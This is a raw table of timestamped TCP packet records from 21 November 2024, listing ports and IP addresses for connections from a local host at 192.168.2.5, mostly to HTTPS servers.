Nov 21, 2024 14:26:48.743339062 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:48.896155119 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:49.189671993 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:49.189723969 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:49.189987898 CET	49783	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:49.190037012 CET	49783	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:49.190037966 CET	49783	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:49.190064907 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:49.190089941 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:49.211297989 CET	49792	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:49.211386919 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:49.213876009 CET	49792	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:49.214143991 CET	49792	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:49.214191914 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:49.251715899 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.252247095 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.252278090 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.253597021 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.253608942 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.358422041 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.358459949 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.358778954 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.359159946 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.359179020 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.369575977 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.369628906 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.369761944 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.372410059 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.372443914 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.601619959 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.602361917 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.602405071 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.605767965 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.605792046 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.686403036 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.687271118 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.687304974 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.689762115 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.689769030 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.709633112 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.709711075 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.709866047 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.710022926 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.710024118 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.710041046 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.710052013 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.714143991 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.714193106 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.717870951 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.718080997 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.718094110 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.740986109 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.741444111 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.741467953 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:49.741950989 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:49.741956949 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.035083055 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.035170078 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.035339117 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.038322926 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.038355112 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.040957928 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.040987015 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.044811010 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.044857979 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.045137882 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.045420885 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.045438051 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.061412096 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.068695068 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.068728924 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.069478989 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.069489956 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.127549887 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.127724886 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.127799034 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.128201962 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.128201962 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.128226042 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.128237963 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.198874950 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.199045897 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.199173927 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.209685087 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.209712982 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.209748983 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.209764957 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.212265015 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.212337971 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.212419987 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.212754965 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.212786913 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.213396072 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.213462114 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.213514090 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.213648081 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.213674068 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.514918089 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.514991999 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.515055895 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.515297890 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.515332937 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.515356064 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.515364885 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.518357038 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.518404961 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.518476009 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.518639088 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:50.518655062 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:50.703504086 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:50.703582048 CET	49792	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:50.705082893 CET	49792	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:50.705096006 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:50.705333948 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:50.707000971 CET	49792	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:50.747332096 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:51.150352001 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.150620937 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.150655031 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.151748896 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.151920080 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.152750015 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.152817011 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.152913094 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.156100035 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.156280041 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.156308889 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.157294035 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.157360077 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.158227921 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.158307076 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.158504009 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.158516884 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.192683935 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.192694902 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.208035946 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.238594055 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.263978004 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:51.264043093 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:51.264240026 CET	49792	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:51.264955997 CET	49792	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:51.265001059 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:51.265029907 CET	49792	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:51.265047073 CET	443	49792	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:51.439853907 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.444032907 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.444058895 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.444637060 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.444644928 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.639717102 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.639779091 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.639815092 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.639832973 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.639859915 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.639861107 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.639880896 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.639902115 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.639911890 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.639930964 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.639935017 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.639974117 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.639974117 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.667084932 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.667108059 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.667114973 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.667131901 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.667196035 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.667201996 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.667242050 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.667298079 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.667298079 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.883816957 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.883851051 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.883898973 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.883902073 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.883934975 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.883949041 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.883977890 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.884001970 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.897460938 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.898005009 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.898047924 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.898482084 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.898497105 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.910197020 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.910373926 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.910437107 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.910475016 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.910496950 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.910517931 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.910526037 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.913144112 CET	49801	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.913216114 CET	443	49801	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.913304090 CET	49801	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.913474083 CET	49801	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.913521051 CET	443	49801	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.923741102 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.923799992 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.923831940 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.923846960 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.923868895 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.923897028 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.925833941 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.926455975 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.926507950 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.926928997 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.926940918 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.931412935 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.931428909 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.931499004 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.931509972 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.931577921 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:51.931615114 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:51.931637049 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.012909889 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.012928963 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.013031960 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.013098001 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.013160944 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.024463892 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.024538994 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.024574995 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.024641991 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.024744034 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.024785042 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.066131115 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.066190004 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.066231012 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.066251040 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.066270113 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.067101002 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.100533009 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.100568056 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.100629091 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.100639105 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.100677967 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.100688934 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.116455078 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.118132114 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.118205070 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.118561029 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.118573904 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.120109081 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.120178938 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.120192051 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.120210886 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.120243073 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.120271921 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.137100935 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.137156963 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.137200117 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.137223959 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.137240887 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.137259960 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.261428118 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.261507034 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.261518002 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.261548996 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.261570930 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.261663914 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.265678883 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:52.265708923 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:52.265770912 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:52.265969992 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:52.265990019 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:52.277738094 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.277784109 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.277820110 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.277829885 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.277870893 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.277888060 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.293576002 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.293620110 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.293639898 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.293648005 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.293695927 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.293706894 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.307302952 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.307388067 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.307389021 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.307418108 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.307446957 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.307461977 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.323189974 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.323297977 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.323363066 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.323415041 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.340778112 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.340930939 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.341075897 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.341403008 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.341403008 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.341449022 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.341471910 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.345485926 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.345518112 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.345593929 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.345932961 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.345947981 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.381438017 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.381572008 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.381639957 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.382745981 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.382798910 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.382837057 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.382855892 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.393522978 CET	49807	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.393594027 CET	443	49807	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.393671036 CET	49807	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.393801928 CET	49807	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.393820047 CET	443	49807	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.421225071 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.421634912 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.421688080 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.422086954 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.422096014 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.558376074 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.558590889 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.558662891 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.572619915 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.572654963 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.581993103 CET	49808	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.582046986 CET	443	49808	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.582159996 CET	49808	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.588229895 CET	49808	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.588275909 CET	443	49808	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.866427898 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.866507053 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.866605043 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.915213108 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.915278912 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.915426970 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.915451050 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.929141998 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.929234982 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:52.929339886 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.940968037 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:52.941050053 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:53.524825096 CET	49703	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:53.526380062 CET	49703	443	192.168.2.5	23.1.237.91
